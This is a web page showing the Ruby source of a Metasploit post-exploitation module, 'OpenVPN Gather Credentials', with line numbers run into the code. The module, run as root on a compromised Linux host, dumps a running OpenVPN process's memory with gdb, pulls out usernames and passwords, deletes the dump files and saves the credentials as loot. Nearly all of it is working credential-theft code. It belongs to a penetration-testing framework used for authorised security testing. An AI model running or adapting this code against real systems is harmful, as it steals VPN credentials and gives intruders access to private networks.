Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/gather/openvpn_credentials.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::Priv8include Msf::Post::Linux::System910def initialize(info = {})11super(12update_info(13info,14'Name' => 'OpenVPN Gather Credentials',15'Description' => %q{16This module grab OpenVPN credentials from a running process17in Linux.1819Note: --auth-nocache must not be set in the OpenVPN command line.20},21'License' => MSF_LICENSE,22'Author' => [23'rvrsh3ll', # Discovery24'Roberto Soares Espreto <robertoespreto[at]gmail.com>', # Metasploit Module25],26'Platform' => ['linux'],27'SessionTypes' => ['shell', 'meterpreter'],28'References' => [29['URL', 'https://gist.github.com/rvrsh3ll/cc93a0e05e4f7145c9eb#file-openvpnscraper-sh']30]31)32)3334register_options(35[36OptInt.new('PID', [true, 'Process IDentifier to OpenVPN client.']),37OptString.new('TMP_PATH', [true, 'The path to the directory to save dump process', '/tmp/'])38], self.class39)40end4142def pid43datastore['PID']44end4546def tmp_path47datastore['TMP_PATH']48end4950def run51user = cmd_exec('/usr/bin/whoami')52print_good("Module running as \"#{user}\" user")5354unless is_root?55print_error('This module requires root permissions.')56return57end5859dump = cmd_exec('/bin/grep rw-p /proc/'"#{pid}"'/maps | sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | while read start stop; do /usr/bin/gdb --batch-silent --silent --pid '"#{pid}"' -ex "dump memory '"#{tmp_path}#{pid}"'-$start-$stop.dump 0x$start 0x$stop"; done 2>/dev/null; echo $?')60if dump.chomp.to_i == 061vprint_good('Succesfully dump.')62else63print_warning('Could not dump process.')64return65end6667strings = cmd_exec("/usr/bin/strings #{tmp_path}*.dump | /bin/grep -B2 KnOQ | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk '{print \"User: \"$1\"\\nPass: \"$2}'")6869deldump = cmd_exec("/bin/rm #{tmp_path}*.dump --force 2>/dev/null; echo $?")70if deldump.chomp.to_i == 071vprint_good('Removing temp files successfully.')72else73print_warning('Could not remove dumped files. Remove manually.')74end7576fail_with(Failure::BadConfig, 'No credentials. You can check if the PID is correct.') if strings.empty?7778vprint_good("OpenVPN Credentials:\n#{strings}")7980p = store_loot(81'openvpn.grab',82'text/plain',83session,84strings,85nil86)87print_status("OpenVPN Credentials stored in #{p}")88end89end909192